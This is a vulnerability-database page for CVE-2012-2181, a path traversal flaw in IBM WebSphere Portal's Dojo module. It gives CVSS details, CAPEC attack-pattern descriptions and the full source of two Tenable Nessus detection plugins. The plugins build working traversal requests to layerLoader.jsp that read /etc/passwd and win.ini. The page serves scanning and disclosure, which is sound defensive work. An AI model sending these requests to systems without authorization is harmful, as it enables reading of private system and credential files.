Vulnerabilities > CVE-2012-2181 - Path Traversal vulnerability in IBM Websphere Portal 7.0.0.1/7.0.0.2/8.0
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
PARTIAL Integrity impact
NONE Availability impact
NONE Summary
Directory traversal vulnerability in the Dojo module in IBM WebSphere Portal 7.0.0.1 and 7.0.0.2 before CF14, and 8.0, allows remote attackers to read arbitrary files via a crafted URL.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 3 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Relative Path Traversal An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
- Directory Traversal An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
- File System Function Injection, Content Based An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
- Using Slashes and URL Encoding Combined to Bypass Validation Logic This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
- Manipulating Input to File System Calls An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
Nessus
NASL family CGI abuses NASL id WEBSPHERE_PORTAL_DOJO_FILE_DOWNLOAD2.NASL description The version of WebSphere Portal on the remote host is using a vulnerable version of the Dojo toolkit. Input to the last seen 2020-06-01 modified 2020-06-02 plugin id 63097 published 2012-11-29 reporter This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/63097 title IBM WebSphere Portal Dojo Module Arbitrary File Download code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(63097); script_version("1.10"); script_cvs_date("Date: 2019/12/04"); script_cve_id("CVE-2012-4834"); script_bugtraq_id(56593); script_name(english:"IBM WebSphere Portal Dojo Module Arbitrary File Download"); script_summary(english:"Tries to download a file outside the webroot"); script_set_attribute(attribute:"synopsis", value: "An application hosted on the remote web server has an arbitrary file download vulnerability."); script_set_attribute(attribute:"description", value: "The version of WebSphere Portal on the remote host is using a vulnerable version of the Dojo toolkit. Input to the 'path' parameter of layerLoader.jsp is not properly validated. A remote, unauthenticated attacker could exploit this to download arbitrary files. This vulnerability exists due to an incomplete fix for CVE-2012-2181 (detected by Nessus plugin #61488)."); # https://www-304.ibm.com/connections/blogs/PSIRT/entry/security_vulnerability_in_theme_component_for_websphere_portal_versions_7_0_0_x_and_8_0_cve2012_48344?lang=en_us script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b7377746"); # https://www-304.ibm.com/connections/blogs/PSIRT/entry/security_update_url_manipulation_vulnerability_in_ibm_websphere_portal_versions?lang=en_us script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b229aef1"); script_set_attribute(attribute:"see_also", value:"http://www-01.ibm.com/support/docview.wss?uid=swg21617713"); script_set_attribute(attribute:"solution", value: "IBM has published APAR PM76354 to fix this vulnerability. This is included in WebSphere Portal 7.0.0.1 Cumulative Fix 19 / 7.0.0.2 Cumulative Fix 19 / 8.0 Cumulative Fix 3 and higher. Refer to IBM's advisory for more information."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N"); script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-4834"); script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required"); script_set_attribute(attribute:"exploit_available", value:"false"); script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/16"); script_set_attribute(attribute:"patch_publication_date", value:"2012/11/16"); script_set_attribute(attribute:"plugin_publication_date", value:"2012/11/29"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:websphere_portal"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("http_version.nasl", "os_fingerprint.nasl"); script_exclude_keys("Settings/disable_cgi_scanning"); script_require_ports("Services/www", 10039); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("webapp_func.inc"); include("data_protection.inc"); port = get_http_port(default:10039); requests = make_array(); if (report_paranoia < 2 && os = get_kb_item('Host/OS')) { if ('Windows' >< os) { requests['/windows/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; requests['/winnt/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; } else requests['/etc/passwd'] = 'root:.*:0:[01]:'; } else { requests['/windows/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; requests['/winnt/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; requests['/etc/passwd'] = 'root:.*:0:[01]:'; } # the first dir was the default dir in version 8, i've seen the latter dir # show up in online documentation for using dojo w/portal dirs = make_list('/wps/portal_dojo', '/portal_dojo'); file_not_found = FALSE; # the software appears vulnerable, but the file requested does not exist vuln = FALSE; poc_url = NULL; foreach file (keys(requests)) { pattern = requests[file]; foreach dir (dirs) { url = dir + '/layerLoader.jsp?path=file:' + file + '%00'; # avoid making unnecessary requests. if a previous PoC attempt demonstrated # the software is vulnerable but wasn't successful in downloading a file, # only continue making requests to the same directory if (poc_url && poc_url !~ '^' + dir) continue; res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE, fetch404:TRUE); if (res[2] =~ pattern) { vuln = TRUE; file_not_found = FALSE; poc_url = url; break; } else if ('Problem accessing the absolute URL "file:' + file >< res[2]) { file_not_found = TRUE; poc_url = url; } else if ('There has been an application error!' >< res[2]) { audit(AUDIT_LISTEN_NOT_VULN, 'web server', port); } } if (vuln) break; } if (isnull(poc_url)) audit(AUDIT_LISTEN_NOT_VULN, 'web server', port); if (report_verbosity > 0) { if (file_not_found) { trailer = 'The file Nessus attempted to download does not exist on the system,\n' + 'but the vulnerability was still detected due to the resulting error message.'; } else { res[2] = data_protection::redact_etc_passwd(output:res[2]); header = 'Nessus downloaded ' + file + ' by requesting'; if (report_verbosity > 1) trailer = 'Which returned the following file contents :\n\n' + chomp(res[2]); } report = get_vuln_report(items:poc_url, port:port, header:header, trailer:trailer); security_warning(port:port, extra:report); } else security_warning(port);
NASL family CGI abuses NASL id WEBSPHERE_PORTAL_DOJO_FILE_DOWNLOAD.NASL description The version of WebSphere Portal on the remote host is using a vulnerable version of the Dojo toolkit. Input to the last seen 2020-06-01 modified 2020-06-02 plugin id 61488 published 2012-08-10 reporter This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/61488 title IBM WebSphere Portal Dojo Module URI Traversal Arbitrary File Access code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(61488); script_version("1.8"); script_cvs_date("Date: 2019/12/04"); script_cve_id("CVE-2012-2181"); script_bugtraq_id(54349); script_name(english:"IBM WebSphere Portal Dojo Module URI Traversal Arbitrary File Access"); script_summary(english:"Tries to download a file outside the webroot"); script_set_attribute(attribute:"synopsis", value: "An application hosted on the remote web server has an arbitrary file download vulnerability."); script_set_attribute(attribute:"description", value: "The version of WebSphere Portal on the remote host is using a vulnerable version of the Dojo toolkit. Input to the 'path' parameter of layerLoader.jsp is not properly validated. A remote, unauthenticated attacker could exploit this to download arbitrary files."); # https://www-304.ibm.com/connections/blogs/PSIRT/entry/security_update_url_manipulation_vulnerability_in_ibm_websphere_portal_versions?lang=en_us script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b229aef1"); script_set_attribute(attribute:"see_also", value:"http://www-01.ibm.com/support/docview.wss?uid=swg21598363"); script_set_attribute(attribute:"solution", value: "IBM has published APAR PM64172 to fix this vulnerability. This is included in WebSphere Portal 7.0.0.1 Cumulative Fix 19 / 7.0.0.2 Cumulative Fix 19 / 8.0 Cumulative Fix 3 and higher. Refer to IBM's advisory for more information."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N"); script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-2181"); script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required"); script_set_attribute(attribute:"exploit_available", value:"false"); script_set_attribute(attribute:"vuln_publication_date", value:"2012/06/22"); script_set_attribute(attribute:"patch_publication_date", value:"2012/06/22"); script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/10"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:websphere_portal"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("http_version.nasl", "os_fingerprint.nasl"); script_exclude_keys("Settings/disable_cgi_scanning"); script_require_ports("Services/www", 10039); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("webapp_func.inc"); include("data_protection.inc"); port = get_http_port(default:10039); requests = make_array(); if (report_paranoia < 2 && os = get_kb_item('Host/OS')) { if ('Windows' >< os) { requests['/windows/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; requests['/winnt/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; } else requests['/etc/passwd'] = 'root:.*:0:[01]:'; } else { requests['/windows/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; requests['/winnt/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])'; requests['/etc/passwd'] = 'root:.*:0:[01]:'; } # the first dir was the default dir in version 8, i've seen the latter dir # show up in online documentation for using dojo w/portal dirs = make_list('/wps/portal_dojo', '/portal_dojo'); file_not_found = FALSE; # the software appears vulnerable, but the file requested does not exist vuln = FALSE; poc_url = NULL; foreach file (keys(requests)) { pattern = requests[file]; foreach dir (dirs) { url = dir + '/layerLoader.jsp?path=file://' + file + '%00'; # avoid making unnecessary requests. if a previous PoC attempt demonstrated # the software is vulnerable but wasn't successful in downloading a file, # only continue making requests to the same directory if (poc_url && poc_url !~ '^' + dir) continue; res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE, fetch404:TRUE); if (res[2] =~ pattern) { vuln = TRUE; file_not_found = FALSE; poc_url = url; break; } else if ('Problem accessing the absolute URL "file://' + file >< res[2]) { file_not_found = TRUE; poc_url = url; } } if (vuln) break; } if (isnull(poc_url)) audit(AUDIT_LISTEN_NOT_VULN, 'web server', port); if (report_verbosity > 0) { if (file_not_found) { trailer = 'The file Nessus attempted to download does not exist on the system,\n' + 'but the vulnerability was still detected due to the resulting error message.'; } else { res[2] = data_protection::redact_etc_passwd(output:res[2]); header = 'Nessus downloaded ' + file + ' by requesting'; if (report_verbosity > 1) trailer = 'Which returned the following file contents :\n\n' + chomp(res[2]); } report = get_vuln_report(items:poc_url, port:port, header:header, trailer:trailer); security_warning(port:port, extra:report); } else security_warning(port);